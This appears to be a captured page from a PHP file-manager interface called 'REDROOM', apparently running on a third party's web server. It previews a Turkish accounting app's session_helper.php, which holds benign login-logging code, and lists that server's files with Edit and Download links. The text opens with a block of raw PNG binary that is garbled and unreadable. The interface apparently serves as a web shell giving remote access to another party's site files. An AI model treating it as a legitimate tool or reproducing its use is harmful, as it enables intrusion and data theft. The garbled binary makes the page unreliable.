PNG  IHDR* pHYs+ IDATx]n#; cdLb Ǚ[at¤_:uP}>!Usă cag޿ ֵNu`ݼTâabO7uL&y^wFٝA"l[|ŲHLN밪4*sG3|Dv}?+y߉{OuOAt4Jj.u]Gz*҉sP'VQKbA1u\`& Af;HWj hsO;ogTu uj7S3/QzUr&wS`M$X_L7r2;aE+ώ%vikDA:dR+%KzƉo>eOth$z%: :{WwaQ:wz%4foɹE[9<]#ERINƻv溂E%P1i01 |Jvҗ&{b?9g=^wζXn/lK::90KwrюO\!ջ3uzuGv^;騢wq<Iatv09:tt~hEG`v;3@MNZD.1]L:{ծI3`L(÷ba")Y.iljCɄae#I"1 `3*Bdz>j<fU40⨬%O$3cGt]j%Fߠ_twJ;ABU8vP3uEԑwQ V:h%))LfraqX-ۿX]v-\9I gl8tzX ]ecm)-cgʒ#Uw=Wlێn(0hPP/ӨtQ“&J35 $=]r1{tLuǮ*i0_;NƝ8;-vݏr8+U-kruȕYr0RnC]*ެ(M:]gE;{]tg(#ZJ9y>utRDRMdr9㪩̞zֹb<ģ&wzJM"iI( .ꮅX)Qw:9,i좜\Ԛi7&N0:asϓc];=ΗOӣ APqz93 y $)A*kVHZwBƺnWNaby>XMN*45~ղM6Nvm;A=jֲ.~1}(9`KJ/V F9[=`~[;sRuk]rєT!)iQO)Y$V ی ۤmzWz5IM Zb )ˆC`6 rRa}qNmUfDsWuˤV{ Pݝ'=Kֳbg,UҘVz2ﴻnjNgBb{? ߮tcsͻQuxVCIY۠:(V뺕 ٥2;t`@Fo{Z9`;]wMzU~%UA蛚dI vGq\r82iu +St`cR.6U/M9IENDB` REDROOM
PHP 5.6.40
Preview: session_helper.php Size: 3.12 KB
/home/ankaservis/servis.ankaservis.com/muhasebe/sistem/session_helper.php

<?php
/**
 * Session Helper Fonksiyonları
 * Login yönlendirmelerini loglamak için
 */

if (!function_exists('log_session_redirect')) {
    /**
     * Session kontrolü başarısız olduğunda loglama yapar
     * 
     * @param string $file_path Hangi dosyadan yönlendirme yapıldığı
     * @param string $reason Yönlendirme nedeni (örn: "Session yok", "Session geçersiz")
     */
    function log_session_redirect($file_path, $reason = "Session kontrolü başarısız") {
        $log_file = __DIR__ . '/../logs/php_errors.log';
        $timestamp = date('Y-m-d H:i:s');
        
        // IP adresi
        $ip = $_SERVER['REMOTE_ADDR'] ?? 'Bilinmiyor';
        
        // User Agent
        $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Bilinmiyor';
        
        // Referer (hangi sayfadan geldiği)
        $referer = $_SERVER['HTTP_REFERER'] ?? 'Direkt erişim';
        
        // Request URI (hangi sayfaya erişmeye çalıştığı)
        $request_uri = $_SERVER['REQUEST_URI'] ?? 'Bilinmiyor';
        
        // Session bilgileri (varsa)
        $session_id = session_id() ?: 'Session başlatılmamış';
        $session_giris = isset($_SESSION["giris"]) ? $_SESSION["giris"] : 'Yok';
        $session_kulid = isset($_SESSION["kulid"]) ? $_SESSION["kulid"] : 'Yok';
        
        // Cookie bilgileri (varsa)
        $cookie_kadi = isset($_COOKIE["kadi"]) ? $_COOKIE["kadi"] : 'Yok';
        
        $log_message = sprintf(
            "[%s] [SESSION_REDIRECT] %s | Dosya: %s | IP: %s | Session ID: %s | Session giris: %s | Session kulid: %s | Cookie kadi: %s | Referer: %s | Request URI: %s | User Agent: %s" . PHP_EOL,
            $timestamp,
            $reason,
            basename($file_path),
            $ip,
            $session_id,
            $session_giris,
            $session_kulid,
            $cookie_kadi,
            $referer,
            $request_uri,
            substr($user_agent, 0, 100) // İlk 100 karakter
        );
        
        // Log dosyasına yaz
        @error_log($log_message, 3, $log_file);
    }
}

if (!function_exists('check_session_and_redirect')) {
    /**
     * Session kontrolü yapar ve gerekirse login sayfasına yönlendirir
     * 
     * @param string $file_path Hangi dosyadan çağrıldığı (__FILE__ kullanın)
     * @return bool Session geçerliyse true, değilse false (ve yönlendirme yapar)
     */
    function check_session_and_redirect($file_path) {
        // Session başlatılmamışsa başlat
        if (session_status() == PHP_SESSION_NONE) {
            @session_start();
        }
        
        // Session kontrolü
        if (!isset($_SESSION["giris"]) || $_SESSION["giris"] != "true") {
            // Loglama
            $reason = !isset($_SESSION["giris"]) ? "Session giris değişkeni yok" : "Session giris değeri geçersiz: " . $_SESSION["giris"];
            log_session_redirect($file_path, $reason);
            
            // Yönlendirme
            echo "<meta http-equiv='refresh' content='0;URL=giris.php'>";
            return false;
        }
        
        return true;
    }
}

Directory Contents

Dirs: 4 × Files: 37

Name Size Perms Modified Actions
kimlik DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
logo DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
profil DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
scopbin DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
7.18 KB lrw-r--r-- 2025-11-13 11:09:06
Edit Download
7.45 KB lrw-r--r-- 2025-11-14 06:36:36
Edit Download
2.62 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
7.46 KB lrw-r--r-- 2025-11-13 13:10:30
Edit Download
7.81 KB lrw-r--r-- 2025-11-13 14:24:40
Edit Download
7.56 KB lrw-r--r-- 2025-11-13 14:41:24
Edit Download
9.51 KB lrw-r--r-- 2025-11-13 14:41:24
Edit Download
7.33 KB lrw-r--r-- 2025-11-13 13:10:30
Edit Download
6.76 KB lrw-r--r-- 2025-11-13 06:52:38
Edit Download
1.23 KB lrw-r--r-- 2025-11-13 06:52:38
Edit Download
11.55 KB lrw-r--r-- 2025-11-13 13:19:20
Edit Download
14.60 KB lrw-r--r-- 2025-11-14 08:05:30
Edit Download
7.67 KB lrw-r--r-- 2025-08-29 14:25:54
Edit Download
3.34 KB lrw-r--r-- 2025-08-29 14:25:54
Edit Download
12.90 KB lrw-r--r-- 2025-11-13 13:23:40
Edit Download
2.40 KB lrw-r--r-- 2025-08-29 14:25:54
Edit Download
7.59 KB lrw-r--r-- 2025-11-13 13:10:30
Edit Download
7.53 KB lrw-r--r-- 2025-11-13 13:05:12
Edit Download
8.18 KB lrw-r--r-- 2025-08-29 14:25:54
Edit Download
2.52 KB lrw-r--r-- 2025-08-29 14:25:54
Edit Download
2.51 KB lrw-r--r-- 2025-08-29 14:25:54
Edit Download
7.37 KB lrw-r--r-- 2025-11-13 14:52:58
Edit Download
8.34 KB lrw-r--r-- 2025-11-13 14:52:04
Edit Download
11.39 KB lrw-r--r-- 2025-11-14 07:11:36
Edit Download
72.47 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
58.57 KB lrw-r--r-- 2025-11-14 08:00:22
Edit Download
23.42 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
6.82 KB lrw-r--r-- 2025-11-14 07:11:36
Edit Download
10.14 KB lrw-r--r-- 2025-11-14 08:02:42
Edit Download
3.12 KB lrw-r--r-- 2025-11-14 05:43:34
Edit Download
3.71 KB lrw-r--r-- 2025-08-29 14:25:54
Edit Download
504 B lrw-r--r-- 2025-08-29 14:25:54
Edit Download
8.98 KB lrw-r--r-- 2025-11-13 06:52:38
Edit Download
1.17 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
7.83 KB lrw-r--r-- 2025-11-13 14:52:04
Edit Download
23.08 KB lrw-r--r-- 2025-11-14 05:00:16
Edit Download
29.01 KB lrw-r--r-- 2025-11-14 05:07:12
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 REDROOM — Secure File Manager. All rights reserved. Built with ❤️ & Red Dark UI